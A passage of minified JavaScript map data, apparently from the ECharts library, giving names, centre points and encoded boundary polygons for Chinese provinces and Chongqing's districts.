ɞφ›óȄ̎›ƨʶɞŋƨʴɚǿ̐̎Ԭ@ôñ@̏ƨ›ρ۫ô›ɚƨƨНƪŐ̎›ƥóƦʵƥŋ@ȃóƥƧ@@ŏɝǿôυƧȁѵɛ@əóŏ̑@@ə̍›óƧó—@ȁƩ˜ρóòНƥô@Ӓ̑@óŎ̍ƥσŎυ@̍ƨ@Ō̑ôóͪƨ̒óŌړœ̏Ŏ@ŌôȄѺŎ@ɜƧʶυ@ñóɛ˜Ƨ̒ɝ˜óōƥͪ"],encodeOffsets:[[107011,25335]]}},{type:"Feature",id:"hu_nan",properties:{name:"湖南",cp:[111.5332,27.3779],childNum:14},geometry:{type:"Polygon",coordinates:["@@@քɜОƨ@öŐמóƪôƩɚ̒Ő߼ȁςͩɜòƪ—ɜȀò—ñɝò—Ѻͪ@ŏƨŋóɝôǿƨ™ɚȃóəƨȃѵͩó̍@ȃƨóóƥƨƧ@ʵƦ›óͩɜ—ɛóñԭɛōυȂ̍ƧƦō@ɛƥ—ɛȀ̑œóʷóō̍œƩŏƧОəƧóœς۬Ƨœ@̐óòԫ@̏̍əȀƧʳɝŌóɞƧ˜ƨɜóŐƨò@ȄƧŌρŋóôԪОóʶ@̎óȄ"],encodeOffsets:[[111870,29161]]}},{type:"Feature",id:"shan_xi_1",properties:{name:"陕西",cp:[109.5996,35.6396],childNum:10},geometry:{type:"Polygon",coordinates:["@@ςôöƨɝȂɞȄѶóóͪƨȀóŎƨœ̍ɜƦƦôʸ̒@ɜƧς˜ƪôõô@ƪڔ@ôɜóʶôŌô̒୽Ӓ@Ʀ@Ѻ̎ɜѺɛѶôöʶô™ƨšóʴ߼۰óô̎˜ñƪѸƩτʶ@ȁòŋəѹóǿ̑ʵ@ȁ̒ʷυփô݉ôН̏ط@ȁƨóô̏ƪõ@ʳ̐ʵ@ɝɛŋƩŌɛóןôƧŋ̒ó@ŏ̐ƥ@ŏυ@ƧƧôן̏@ƥȂѹɜəœɛóԭ̎ƥóóœóȀן—ɛô@ŎѹōñƦ"],encodeOffsets:[[108001,33705]]}},{type:"Feature",id:"guang_dong",properties:{name:"广东",cp:[113.4668,22.8076],childNum:21},geometry:{type:"Polygon",coordinates:["@@@Ȃô˜ôƨ̎œ@ɚ̒@ôŐ@ɚѶɜƨȂóφɞȀ@Őƨ@ôƦ@ȄƦŌƥʶƦôôŎôʸ̒›ɜǿƦ˜@ɜƥŎ̎ƨφȁɜŎòƥԮŎƨōóŏɛƧɝəɞƧ߼ɜςȃñȄƦŎ̒ōôòƨəƨ˜ɚН@əƨ̏ƪʵυŌəɛóəԭŏəœóŏѹœρʵɝƦ̏™ƥʳѶ›öō̑óóŋρȀυƧƥɛѹōƧôן—ɛŏѵ@óŋôʵɝ›ƪԩõ@Ƨō̍@Ƨ@@ƦɝԮƪО@@","@@X¯aWĀ„@l"],encodeOffsets:[[112411,21916],[116325,22697]]}},{type:"Feature",id:"ji_lin",properties:{name:"吉林",cp:[126.4746,43.5938],childNum:9},geometry:{type:"Polygon",coordinates:["@@נ@ôН̎ʵѺòƨōԬŎôȁɜŋѶô̒ŏƦōñǿòƧφ@ƨН̎@@Ȁ̐Őöʷ̐ԫ̎œôȂѺôòŌôƧ̒Őƨ̏̎ȁφ˜@ŋƩͩםȃƨ—@ȁ̑ʶ@Ōóôɛœƥѹ̑—συ݇@ɜρƧȃࢯƨôœəȂɛōƩɛ̏υρóõœƪʴυφ@ʶôŌóœρք@ɜƧ@ɝǿƧͪρȀƩó̏ŐƨȂ̍غړȃɛԮƨͪ̏ςƩœôɚφȁƦôɜƧôʶφȄ"],encodeOffsets:[[126181,47341]]}},{type:"Feature",id:"he_bei",properties:{name:"河北",cp:[115.4004,37.9688],childNum:11},geometry:{type:"MultiPolygon",coordinates:[["@@Ʃ̒̏ŌѺ̒Ʃ˜óȄƧŌƥͪòôñȂ̎ŐóȂ̒̐̎›ôНɜ—נ̎ôŋɞȀѶ@ôͪφœƨŌɚœɜȃóƧƨƥƪ˜@ʳƩ›ɞρ݈@υНφʵɜ˜ƦρƨƧ̍ɝóɛѹ̍ρŏ̑ôóƨ@œƧƦôƨɛ@ƥƨ@ȂƦ@@ôəŐƧʶƨŌυœ̍̎ɛŋôōɝ@óƧ̍›ƦʵѵʳôʵɜŏςôƪŋƨŌɚ@ôНƥƧ@ōѸɛ̐ô̎ʵѵНԭ@̍̍Ƨò@ȁɝ@əρυͩƪ̏ƩõƧŎƧōóšॡȄɛʶɜȀ@ɞςѶƧœƥςɛŐ@ɚɜɜ@Ŏôôςœƪς"],["@@õə@Ƨɛ˜@ŐóƦφô"]],encodeOffsets:[[[117271,40455]],[[120061,41040]]]}},{type:"Feature",id:"hu_bei",properties:{name:"湖北",cp:[112.2363,31.1572],childNum:17},geometry:{type:"Polygon",coordinates:["@@ñȄυƦöŐƩ˜óנƨƨφ@@Ő̏Ʀ@Ő̑ôƨŌנóɜôƪŋɜŌѶօڔə݈òɞōɜŎôӏƦóƨô̒óôȃƨó̎ŐôƧƪ@ƨȁςƧə̑̎Н@̍Ƨŏρôԭͩԫ—̍ʵƧšóȀôɞƧŌ@Őѹͩñ˜òɞñ˜ɛǿƩ˜ɛñρͪ߻Ȃ̑ŏƪəƩóםôõŏƧ@ɛНƥȄó›̑ѺƧ›ôφóƨƨƦƪóɜŐôóòôƨóφ̐ƨóƦ̎"],encodeOffsets:[[112860,31905]]}},{type:"Feature",id:"gui_zhou",properties:{name:"贵州",cp:[106.6113,26.9385],childNum:9},geometry:{type:"Polygon",coordinates:["@@ɜȀƦŋԮ˜ô̒ɚ˜ôōעƪƧʴɝ@ɛʶ̒ʶ̐ȁƦœóȂô@ôŏ@ōô—ƨʶѸô@ʶƨ˜ɞó@ōτöòυƨ@@əƨô@ɛ̒@Ʀɜôȃ@̍ôʵԩНôóςŌƨŋ@ȃƧñôŏƧɛƨ—ôɝƧʵ̍œôȃυœ@ɝɛȂƥóóȁɛóõôɛ@əͪɛŋôȁƩóםȃ@ƥƧŏړʶѹ̍ƥŌƦȂóôɜƨѵО̎נəɜѹŋƧȂ@ȀóœɜͪɞƧ"],encodeOffsets:[[106651,27901]]}},{type:"Feature",id:"shan_dong",properties:{name:"山东",cp:[118.7402,36.4307],childNum:17},geometry:{type:"Polygon",coordinates:["@@Ʃ̐φͪɚςɞ@@Ȃƨñ̎̎Ԯ@ѶОƨƧڔ@φН̑ŋ@Ʃ̒ǿ̎@ƨɜԬςôʶ̐ʶöԫƨƧנƥɜŎôō̎@ôŏóρƧŏԫôóƧԩó@ƥɜƧԭóƨʵɛƨ߻ӑɜНԩ˜óô̑óƧʳə™óɛƧ@õȀƧœ̍ȃɛŐóŏυО̍—óɝƩ—ԩ@ƧɚԫȄɚʶƨ˜ɞʶԪ̐ړɛƪ̒"],encodeOffsets:[[118261,37036]]}},{type:"Feature",id:"jiang_xi",properties:{name:"江西",cp:[116.0156,27.29],childNum:11},geometry:{type:"Polygon",coordinates:["@@ƧȄôɚəȄ̎ʶԬ˜ԮͪςóƨŐƪ›τɞƦōƥƧ@ŏςôóŐôô̒ʷѶ—ƪƩƩǿ@ō̒ɛôυ@—Ƨȁѹɛəƨѹ̑ƨ̏óƥѵʷô̍ɛȁôŏɝǿƧԫƧ›ôʳƥōòȃρȄ߻ɛɝƨɞɚɜƨôŐƧŎԭōñƦòԮɜôɛ˜ôͪƥœ@ʶƧƨôƦƧô@Ȅô̎Ѷͪ"],encodeOffsets:[[117e3,29025]]}},{type:"Feature",id:"he_nan",properties:{name:"河南",cp:[113.4668,33.8818],childNum:17},geometry:{type:"Polygon",coordinates:["@@φ˜̎ƪ̐˜ɞȄɚ@@Ȃעó̎ŌѺ̒ôֆॢȃô™ƨŎƨōƪöƩ̑ڔɜԩ̏ɝʵƧ—əʵԬȃƨəԪ@@Ƨ̒ŏô̍υȁƧɚ̍ôóŋ@ɝƧŋõ̑σ—@ŏɜŋôɝ̒ƧɚôôطρóóɛƩ@óƨ̍ŏƧôóȄ̑ôƧóƥôóӐɛōɝŎ݇ñړɚѵֆ@ɞ̏ʶ@ʴƩöó̐"],encodeOffsets:[[113040,35416]]}},{type:"Feature",id:"liao_ning",properties:{name:"辽宁",cp:[122.3438,41.0889],childNum:14},geometry:{type:"Polygon",coordinates:["@@ƨʴƧôôӔƨô̎ƩɞН̎ͪ߼ͪɜ—ɞɚ̐—@ƨςŏ̒ôƦƨɜœô̎ƪôςǿƨͩɞȀƨ@@ɛςփô›óŋ@ʵφυƩʳö›॥փρѹס@əɛ@ͩࢯ@ѹʵρ—ƩʶφȀƧ݈̒۬óʸɝŎѵ@ԭԫןɛƧƨƥςɛ—υʶφО"],encodeOffsets:[[122131,42301]]}},{type:"Feature",id:"shan_xi_2",properties:{name:"山西",cp:[112.4121,37.6611],childNum:11},geometry:{type:"Polygon",coordinates:["@@ɚѺñŌɚšôȄѺ›̎ֆφóςȂ̒—ɜƨɚ@@Ȁƨŋôȃƪ—ѹ̑̐ŋƪ̑Ʃρρ›óó@ōɛɛ@əɜŏƦρƨ›ρѵ@ɝɛǿɜʵóօѹ̑̍ŋסô@ȁə@ɝȃ̏—̍Ʃυ—Ƨô@Ȃ̐ظóОó݊φք̑ʸ@Ȃ̒ʶôȀ"],encodeOffsets:[[113581,39645]]}},{type:"Feature",id:"an_hui",properties:{name:"安徽",cp:[117.2461,32.0361],childNum:17},geometry:{type:"Polygon",coordinates:["@@ó̎̑Ő@ƨƪ˜Ѷǿɜ̑φ—Ʀʵ̐˜Ƨѵôóƪôôυς—ƨȂɞŏ@̍ԫôò̑ƥ—óȃѶͩƧƥôŏѺœôŏƦ—@›ƥͩƧ—ôȁυó@̑ƧɛѵʵƩƪѵ˜̑ʸóóôŏρó@ŐƦƨƥŎσɝƩœ@̎̍Оɚ̒ρƨƧȂôɜςôóظəó̑ƨóɞɛŌ@Őτ˜ö̒ƨŌ@ɞôŌ̎óƨəφȂ"],encodeOffsets:[[119431,34741]]}},{type:"Feature",id:"fu_jian",properties:{name:"福建",cp:[118.3008,25.9277],childNum:9},geometry:{type:"Polygon",coordinates:["@@̎›óȁƨӑ̒—̎ɚƨͩφŐƨɝ̎ŋóŏρ—@ōƨ›òʳəóƨō̏˜õɛƧ@ƨѵƧōəŏóŋƧô̑ɝɛʳƥ@@óɛõ@Ƨ̑ƧóȁəƧ̑—Ƨ̐@ɚəОƧ—Ƨɚóñ̑ŎóʴƨœƨԬɞȀóŐɜȂó̎ѶʸôƦƧ̐Ѻ̒ɚƧѺɜƨȂ"],encodeOffsets:[[121321,28981]]}},{type:"Feature",id:"zhe_jiang",properties:{name:"浙江",cp:[120.498,29.0918],childNum:11},geometry:{type:"Polygon",coordinates:["@@Ѷʶƨɜ@̒φôóȂƨ˜Ʀͪ@œ̐˜Ѹ̍τȂ̒̑נŐמôƪƧôӑ̑›@ƥρͩƨօ̏@@υɝó@ŋɛ@ôƩəóƧѵυó@ƩɜŋƧ@̍ŌƧɞυŏƧͪ̍ə̑˜ƧӒôȂ̍œ@˜óφ̑ɜ@ŎƪȀ"],encodeOffsets:[[121051,30105]]}},{type:"Feature",id:"jiang_su",properties:{name:"江苏",cp:[120.0586,32.915],childNum:13},geometry:{type:"Polygon",coordinates:["@@ôɞ̎˜φНôŐɜŏ̎Ȅƨ›öǿƨ@ôɜɚšƨʴ̒ôôó@Ƨ̎əԮȃԪૉöͩ̐ƧòʵφƧôʵ@óړɜóŏɜǿƧ›ɝρσȁѷ̎̏—ƥ˜óŐѹ›óŐƨƦѵͪôȄƦ˜ñ̒Ԭó@̎ɝŐƧȁρ˜óφƩóóôƨѶ̏—ƥʶυ˜ɛ̒ѵȀ"],encodeOffsets:[[119161,35460]]}},{type:"Feature",id:"chong_qing",properties:{name:"重庆",cp:[107.7539,30.1904],childNum:40},geometry:{type:"Polygon",coordinates:["@@əȂòɜƨ˜ѺɛƦȁ̐@ƪ—õŏφƥòȃƥ̍Ƨôυ̏ƧôñóóôɛŏƩôƧƥôƧóυƨœ̒ѹôœƦȃ@փƥɛ̑@@ɜƧó@ɚƧ@ñφσõ@ŎɝôƧ—@ʵѷóƧʵó˜@ŎóŐó@ôȁƥ›ó̒υôóʶə˜ƧȄς̎ƧȂôƨƨƨφɛ̎Őƨʷɞ@ςԮóŌôôφ@ɜֈ̎ƨ"],encodeOffsets:[[111150,32446]]}},{type:"Feature",id:"ning_xia",properties:{name:"宁夏",cp:[105.9961,37.3096],childNum:5},geometry:{type:"Polygon",coordinates:["@@ల̒ôޠφӒςôƪͧυևɜŋѺó̎ȁ̍ɛ@ѹס@@ʵƧȁôó@ǿ̐ŏöʵɝŋɛ@ô̑ƥóóƨƧ—ó˜ôœó@ƩôóƦ̍œóȀƨŎɛӒôŐυͪɛ@@Ȁə@"],encodeOffsets:[[106831,38340]]}},{type:"Feature",id:"hai_nan",properties:{name:"海南",cp:[109.9512,19.2041],childNum:18},geometry:{type:"Polygon",coordinates:["@@φɜƦʶ̐ôφô̎@ƨŎö@τʵƦ˜ԩ۫õН̏óƥȃƧ@Ʃəםƨ̑Ʀ@ޤ"],encodeOffsets:[[111240,19846]]}},{type:"Feature",id:"tai_wan",properties:{name:"台湾",cp:[121.0254,23.5986],childNum:1},geometry:{type:"Polygon",coordinates:["@@ô—ƩɝöƧɝѵəޣ̏ρƩԭóōóͪρɞƧОôԪ݈ଦѶɜ̒ɛ"],encodeOffsets:[[124831,25650]]}},{type:"Feature",id:"bei_jing",properties:{name:"北京",cp:[116.4551,40.2539],childNum:19},geometry:{type:"Polygon",coordinates:["@@óóó›υóôƥ@ŏóóə@ƧŋƩŌρóɛŐóʶѶʴƥʶ̎œôƨɞ@óŎɜŌ̎̍φ›Ƨŋƨʵ"],encodeOffsets:[[120241,41176]]}},{type:"Feature",id:"tian_jin",properties:{name:"天津",cp:[117.4219,39.4189],childNum:18},geometry:{type:"Polygon",coordinates:["@@ôôɜ—@ƨöɚôœôôɚŏ@óƥ@@ȁƦƧɜ@óƧƨƥ@›ƧóəН̏óѷɜ@ŎƦƨóО"],encodeOffsets:[[119610,40545]]}},{type:"Feature",id:"shang_hai",properties:{name:"上海",cp:[121.4648,31.2891],childNum:19},geometry:{type:"Polygon",coordinates:["@@ɞςƨœɛȀôŐڔɛóυô̍ןŏ̑̒"],encodeOffsets:[[123840,31771]]}},{type:"Feature",id:"xiang_gang",properties:{name:"香港",cp:[114.2578,22.3242],childNum:1},geometry:{type:"Polygon",coordinates:["@@óɛƩ@ρ@óœôȀɚŎƨ@ö@@ōƨ@"],encodeOffsets:[[117361,22950]]}},{type:"Feature",id:"ao_men",properties:{name:"澳门",cp:[113.5547,22.1484],childNum:1},geometry:{type:"Polygon",coordinates:["@@X¯aWĀ„@l"],encodeOffsets:[[116325,22697]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/chong_qing_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"500242",properties:{name:"酉阳土家族苗族自治县",cp:[108.8196,28.8666],childNum:1},geometry:{type:"Polygon",coordinates:["@@XJ°œlJX@lbl@XbV@VLnJlxnbšƒUU@IVK@lVIVwnJlU@n@J@L@Jn@l_nWVLVln@@blLšmV@@xœÔ‚`nœ™xV‚ÈLlx„LVxVVšƒV_U»VWn_m¥XwVmnX°ƒlmUUVwÞaVƒk@a@mmIUa@™mwk@™ƒm@@U¯a@UV@@K™@ykkmwkV@kU@ƒÑƒVkKWLÅamaUm@kyU@WkU@Ua™IUašVaUUmUUa@aVLXKWa¯UUbmJXnWnX`l@@xkzWÆ@V„LU¦‚x@b@JkIkJ@LmbUamJwm@óxƒnk@V„@x„ŽVnUVmVUVŽUbVlUbkXWŽ"],encodeOffsets:[[110914,29695]]}},{type:"Feature",id:"500236",properties:{name:"奉节县",cp:[109.3909,30.9265],childNum:1},geometry:{type:"Polygon",coordinates:["@@WVXb‚UnK@x@b‚²kxmKkl¯_ƒVV°™VU@bnKVVV@@nkŽ@n›bn‚@š°@VLČUš@°WV@V™nU@InKVl@nU„b˜KnX„WlknLlKUwnalLša„VlUXmWk@UU@UWWIUyķ¹XaWW@X™ƒKUIVm„U@W@UVU@KV@n»VkUkÇmUmVIUmULUbm@ƒwUaƒKkkm¯ÑUL@bWVnx@VmxUI@„klmkkK@aƒK@IlJ@I¯ƒk@mak@mnkJVL@bV@Ub„„W`UUUV™I@VƒU@VVbUJVLUVVbUX„VVxk¦VJUnVxnVVUšJV@Ubl@@bXV@L"],encodeOffsets:[[111781,31658]]}},{type:"Feature",id:"500238",properties:{name:"巫溪县",cp:[109.3359,31.4813],childNum:1},geometry:{type:"Polygon",coordinates:["@@nLWbX‚VLVU„V@KšIVl@b„@lbšU„VnU@JÆU@V@n°KĢUl@VbÞKšVš@„_„V‚KXU‚U@KXƒ@wlkkU@mWKUU@UôJ@XV@œaVmÞIVaVLƒƒ@»kmƒ@ƒUkL™U@aU@WWƒLUUU™™KkbƒwWa@KU@kaƒXmW—LƒamVk@UmL@JmVUšU@¯X™@ċVUK¯@ÅnWK™LkKULWK@UXK@wW@™LkV@bVLƒlXn›`¯xU„°LnŽlV@n°Lnl"],encodeOffsets:[[111488,32361]]}},{type:"Feature",id:"500234",properties:{name:"开县",cp:[108.4131,31.2561],childNum:1},geometry:{type:"Polygon",coordinates:["@@n@na‚I„wš@@VVK„LVbVxnVÆUnanKWXamKmk¯K@mkUm¯KVƒ°w@Wm@UIUUlKUU@a¯KWanwmUXamKkUWUnU@KƒkUwWKXaWLUWkImaUUUƒƒKka±k@lƒ¯w™wmbUƒ™ƒkXm@UJkIW‚XXƒbƒmƒ„UJ™XUV@°šKlšlVXV@xmbnV@blV@VšœU`UL@V™a@bULlb°VXbܚ@V@bƒL@J„xnLVb@lVb@V@@z˜bXWšX„KVLV‚š@@bUVVL@b„„lVna@ll@„zl@@J"],encodeOffsets:[[111150,32434]]}},{type:"Feature",id:"500243",properties:{name:"彭水苗族土家族自治县",cp:[108.2043,29.3994],childNum:1},geometry:{type:"Polygon",coordinates:["@@„Jlb@nVV@bXb@ÆlL„Ul`nVKU¼VxkbW„nlUxlXX‚@°°WnnJ@VUn@J„k°L@VlV@nUJ„x@bVVVz@VnLla„KnalVlIUŽ„¼@nV@@anKUwVal@UlJœƒlI@akU@UWXKVI‚¯Uak@@KmkXWÜkXWykIWwXw@laXamkVUUym_XmlkkmmakwmIUKU@Wak@kaW@kI¯›WIk¦VŽƒUUƒmaUV@XkVUV±aUb¯b¯¥m@@ImJ—@mƒmL@kUKUkkJƒbV¦"],encodeOffsets:[[110408,29729]]}},{type:"Feature",id:"500235",properties:{name:"云阳县",cp:[108.8306,31.0089],childNum:1},geometry:{type:"Polygon",coordinates:["@@lb„LV„VVnblJVXXKWbXLVx„l@LmVXVVl‚nLWbnVmxXb°L@bVVkLVVVJn@@X‚‚œ_Wm„kUK@alUšKX@@xWL@VXLVKlLšKXLÆm@™mœa@ml@mU@UUmL@aVšUU¯„U°`lknLlw±@a@wmLVWaXU@KWU@ak@VaU@™IUVmUUwVmUIl¥UwƒUVWUaVUUKVIUa@UUUUJƒUUm™kƒ„nl@„@VWV@L¯aUb™Ulxƒ@@b@VULUx@VUxVV™U@bU@mxU„U@mUVŽklkkƒ@WxknlxK@amLƒKU„K"],encodeOffsets:[[111016,31742]]}},{type:"Feature",id:"500101",properties:{name:"万州区",cp:[108.3911,30.6958],childNum:1},geometry:{type:"Polygon",coordinates:["@@ĸĊVI„ƒ„n„aWWXlJVIn@lWš„V„našx°xk„l@²Ž‚LVƒ„LnK@b‚LkwlmXw„@lllkUnVV@VƒnwV@@ašVUUVw@UVwVK@U@a„@kwšVVa°b@KXU@U@ƒmk„ƒÇсaml™kUVmn@VULU˜m@kUVkUaƒwUWm@Uw¯„mKUUmVUUULUKU„W@XbWVkaWwkUU™ƒ™k@maUbmbVlk¦ƒxUVUIWVU„kJVVkL@UmJ™UUVU@lLUVU„lx„@@VbƒJ™U™L¯¤@Vƒ„"],encodeOffsets:[[110464,31551]]}},{type:"Feature",id:"500229",properties:{name:"城口县",cp:[108.7756,31.9098],childNum:1},geometry:{type:"Polygon",coordinates:["@@VK@w¯L@m@UÅV@ImVƒU™Vkaƒ@@aUk™J@LƒUUVUKmLmbÅVmUUwUaƒKUL@U™@ƒxJmbm@nVJ@X@VkV‚n™lƒLXx™@ƒb@bUVƒLU`UnƒbU@@ŽmVVX@JX@VLVVšklV—„‚`@bUL@V„LVKn@‚U@„UJkn@lmLmK@X@Jn@mb„nÞWVXnJ‚k„KČÑÆ@VK@knaÜmXlUČW°kôÇÆ@a@yÞ_VmƒUnU@K"],encodeOffsets:[[111893,32513]]}},{type:"Feature",id:"500116",properties:{name:"江津区",cp:[106.2158,28.9874],childNum:1},geometry:{type:"Polygon",coordinates:["@@„InWUUlU@LVašlX@°²lÒXxlK@Ul@@Un@UaVJ@I@W@UƒUUVUwVIUKUa‚UUVwn@Üx@XUlnn‚bœJ@¥VklKUUlk@ynU@kVƒUUVWnI@¥V£VWVIUKU@UVƒa@n@Vm@@nlUaVkUwƒJ@blLkLW@XWmXkmmLn™@m@U@UVm@™„UVUUlakUVa„ƒVkV@@wnaWUk@VwkƒlmVIkUUxmJ@U„™@KƒIkx±V@IUm@K@IUKkbWKUbn„m„@bmVnbmb@xkxUJ@ULW`@bX@WVXL@Vƒš¯„mk¯@UJ@VmLUaWnX@WJ@nkKkxW@UIV@@KkImmkK@UW@XaWIU@U‚ƒIkbWb„xXŽlLVbnV@bWlX@VxVLnl@nÆÞVÜ"],encodeOffsets:[[108585,30032]]}},{type:"Feature",id:"500240",properties:{name:"石柱土家族自治县",cp:[108.2813,30.1025],childNum:1},geometry:{type:"Polygon",coordinates:["@@„š@kl@š¼UbmVXJ@bV@nxVIVJULVVk@@LWbnJVU@bVbUJ@blLXnWV—@mbnV‚@V„„bn@VJVLnaVanbl@„šVšlVXxlbXUWaX@VƒUUVwUUVm@I@WmI@a„mlLœ™lK@alwnUV@kóVaƒÝk@UlbVK@™VU»VUUVWUƒ@U`ULkwm@@KmU@knKƒ»VkJkUmbƒLkbmK@UUyUU@aƒwm@@XXJ@VVLVVUbVnUJVX@K„„k`WXXJWXUbmW@bkL™Um`Xnƒb@JVL@LU@™°VVXKVnUxVLUbmJ"],encodeOffsets:[[110588,30769]]}},{type:"Feature",id:"500237",properties:{name:"巫山县",cp:[109.8853,31.1188],childNum:1},geometry:{type:"Polygon",coordinates:["@@kVƒU™bkKmbVxkLmKkllbV@@LXb„xlašLVšVV„KXXV@@bšVlK„V„@ln@¼°KXa„U@Ulw°JXalIUa„ÝWXW@kVU@ƒVUVWUUUamUw@aVamwn@VUUƒlLXWm£@wÇĉkKklmLUÒ¯ƒWn™@ğ±kwmaWm¼U@@LUV@V@XƒVUnVJ„LWš@‚XXWbĸºVzXJVXV@@VXlWn"],encodeOffsets:[[112399,31917]]}},{type:"Feature",id:"500102",properties:{name:"涪陵区",cp:[107.3364,29.6796],childNum:1},geometry:{type:"Polygon",coordinates:["@@nèVblĖVVnLšŽ„@šx‚V„n@nšJ@L„UVVX@lbUJV@@nn@VVVK@z„˜V@nzVJVUlmX@@_VVVbnaVal@@knW@wnaƒVK@aVI„J@£kUVW@‚wXUVJ„amƒ@Ikƒƒƒƒ_X¥ƒ@WwkKkwmŽ™šƒkUxƒnÅmm¥™WV@Um@UlVL@JU@@Xƒ@UVkKVk™KVk™Kkb@bmJVXU„VVUbU@@`W_UV¯b"],encodeOffsets:[[109508,30207]]}},{type:"Feature",id:"500230",properties:{name:"丰都县",cp:[107.8418,29.9048],childNum:1},geometry:{type:"Polygon",coordinates:["@@Þè@XUK@LlV@blbUJ@„„V@bnV‚@VVVXU@ƒlbXal@VXnKV@maXUރ@amk@aVKXV‚anbš£°mnIVaUKVwUmWLUUš¯V@@KUK@I„aWmn_šVlK@anXVaXWWIXWl_ƒƒ@LUWVIUmVaUUUK@UWI@Wn@VI@mkU@U¯Kƒl@ImVÅLƒwU¤óbUU@wWXkmm@LU@@VUIWVUL@JUnƒaƒx@Jn„ƒbUIWVx@ŽUXlV@¤ƒIUJ@bUL„Žmb@xmX@lk@UbmbUaUU@`W@kn"],encodeOffsets:[[110048,30713]]}},{type:"Feature",id:"500232",properties:{name:"武隆县",cp:[107.655,29.35],childNum:1},geometry:{type:"Polygon",coordinates:["@@l„„w„bVm@IVKXUVJ@UV@@KnnWlX@xVVôaV£„xÆKnUVm@UmIXm¯¯@WkWVwmkXƒlaUwV»ULmk_ƒVkK@ÅWa@aUU@mkaƒIƒb@‚n¼ƒnm‚_@mmK@UƒLUVVmI@aUJ@XWJ@U`UIkm±kk@@lULmUmKUnVšnlUVmI@VkVlx™bkIƒVmLUxkKUŽ‚Xš‚n¦Æn„mVw„lš™nlxlLXx„@W¦„`„„"],encodeOffsets:[[110262,30291]]}},{type:"Feature",id:"500119",properties:{name:"南川区",cp:[107.1716,29.1302],childNum:1},geometry:{type:"Polygon",coordinates:["@@VšUbVJVUn@VLX@WVXVVI@VUVWxU@mš@ĊX@@¼V°aVUX`@_V@VaUUVƒUWnI@alašLUlšLUllLVU„@@WV@@IUKVkn@@VlLVwnK„UlJšakwlU@UnJVUmkU™VmXa@wVK@UUw™@VƒVI@akƒ@alInwlKXUmaUW@wWLk™™KVak_ÇaUƒƒV@šXbƒLVxUlWIk@UK@V™@ƒkU@VbUVUlVnƒLUV@lVXmxkV@L@V@Vk@WbUwmL@JUI@xVxkx"],encodeOffsets:[[109463,29830]]}},{type:"Feature",id:"500241",properties:{name:"秀山土家族苗族自治县",cp:[109.0173,28.5205],childNum:1},geometry:{type:"Polygon",coordinates:["@@XlV@lzn@VŽnbÆbXKlL„U„ÒV@@llUnxll@zšŽ@LU@@V°b@Vn@š„l@VÑUƒnK@UšU@aUaƒkVm@K¯wƒklmnn„Ul`nI@almkIUwmWVkUaƒkkJmUUa@K@aU@@_m@@wUyVUUa@Umƒ@awl@Wka±„UkUykIWV™b@bUVk@›aU@UXU‚UIWakUWmUxUV@nUVWbšŽ@XXVVŽmXXŽ@VƒbVLkVWx"],encodeOffsets:[[111330,29183]]}},{type:"Feature",id:"500114",properties:{name:"黔江区",cp:[108.7207,29.4708],childNum:1},geometry:{type:"Polygon",coordinates:["@@VX@V@LV@VJUL@lVnnxlb@VXV‚XV@@W„@UIVK@kUKna@£VWUaVUUalIVJVIUW„_lm@bXKV@mn@J„UUw@KnIVll@VanLVmUkVKXLVKUIVamw@UaU_lw„KlwUWV_Ua@aUa@KUšwm›_›Ó@wU@™nkK@am@UkUKmXk`m@@I@K@I@mkVmIUxUJ@kUL@JVV™„lnklWnn`VzUVnlWbkb@WxXxlJXzWŽÛlWXnl@Ll@Vb°UJWLX@VlV@bkJ"],encodeOffsets:[[111106,30420]]}},{type:"Feature",id:"500117",properties:{name:"合川区",cp:[106.3257,30.108],childNum:1},geometry:{type:"Polygon",coordinates:["@@XKVXlK„ƒVL@UnV@aValXXK„U@WVwUaVU@IV@@aVW„L@U@anVV@@bVK@UVL@bnJWL@VnUnb˜@@JnIlVl‚@@bXIWbn@UKVLVKXLlaV@VVnK@bVL„m„IVƒ@KmknUUWVI@aVJ@_„WU_VmUwƒU@K™ƒVak@am¯mJU_UJUkU@WkIV`UI@JV@LmmU@@mƒbUzś™@„VK@nUKƒ„ƒb™akb@UWK@bkVVbV„Û@@`ƒXk@WŽ@n@lXL@bmb@VVJUn@JnUlnUlmX@`XLlbkJW@kzlb@`@b@b"],encodeOffsets:[[108529,31101]]}},{type:"Feature",id:"500222",properties:{name:"綦江县",cp:[106.6553,28.8171],childNum:1},geometry:{type:"Polygon",coordinates:["@@@¦‚@X„lVX@@UVKl„VUX@lanVlUVbXWVXVƒ„VVUnKVUlwUwU@UJ@nmVkUV™lwXam@VaUUUw@W@kk»mV@UmKkwVKVUU@@LUKVI@mV@XVWxnXVKUUUK@wWU@UUWnUlLXa‚mUI„am@wI@K@amIm‚UUkI@m‚akUkKWUUanƒ@wƒamLVxk@UVmUUL@Vm@kV@I@ak@@bWVXJlLVbVL@š@bn@@`Un„@WbUKULWVXbƒ@UVmbX„WVƒb@bVmxUKUƒV@šUn@V@V@nmšnKlnnWWXX@lKkK@a„IVxUlVb‚k@mn@@U@m„bVUV@VLUJUXU¤"],encodeOffsets:[[109137,29779]]}},{type:"Feature",id:"500233",properties:{name:"忠县",cp:[107.8967,30.3223],childNum:1},geometry:{type:"Polygon",coordinates:["@@VLÞĊ„U@Wš@¼V‚„@lk@w²mlšVUœ„llšVnI@VlKUUlIVƒXUVJVU„wl¥UkUKUIm@ƒaUƒ@mUna˜@XUWmkK@aVIUa@aUVmIXa@Kl@UUVKUIUJmwU@@aWInUVa™»k@@lƒ™¯n™¤mabWUUL@bnl@b݄WVnbU@mLUWk@Wbka@„WVUU@UmUmVkUULV„lVUx„l@L@VƒbÈÒlb"],encodeOffsets:[[110239,31146]]}},{type:"Feature",id:"500228",properties:{name:"梁平县",cp:[107.7429,30.6519],childNum:1},geometry:{type:"Polygon",coordinates:["@@XLV@VV@b°°nšƒnkb@bƒšnJWVXblIUVšxWnUJnVVLVU„JlUnLVK@UnUVJš²nKVbVKla@aXlJ„k„Klb„ƒ@U°£šKšV„IUa@ƒ@kwVƒVUkKV@VUkk›ƒUVk™±n@xklƒ@U@»™‚@XƒVÝĉUJnxWb@UX›KkVUbUKWUkVmkkLU`›b"],encodeOffsets:[[109980,31247]]}},{type:"Feature",id:"500113",properties:{name:"巴南区",cp:[106.7322,29.4214],childNum:1},geometry:{type:"Polygon",coordinates:["@@nxnVlJlUXLƒ¦@x@Vl@nKVVX@V_V@@KlVXU„@lKlxXIl@ÈĊ@Vl@n_VJlŽnVlnb„²VVVJVVmUUkĕUamçU@»W@@ĉn™V@X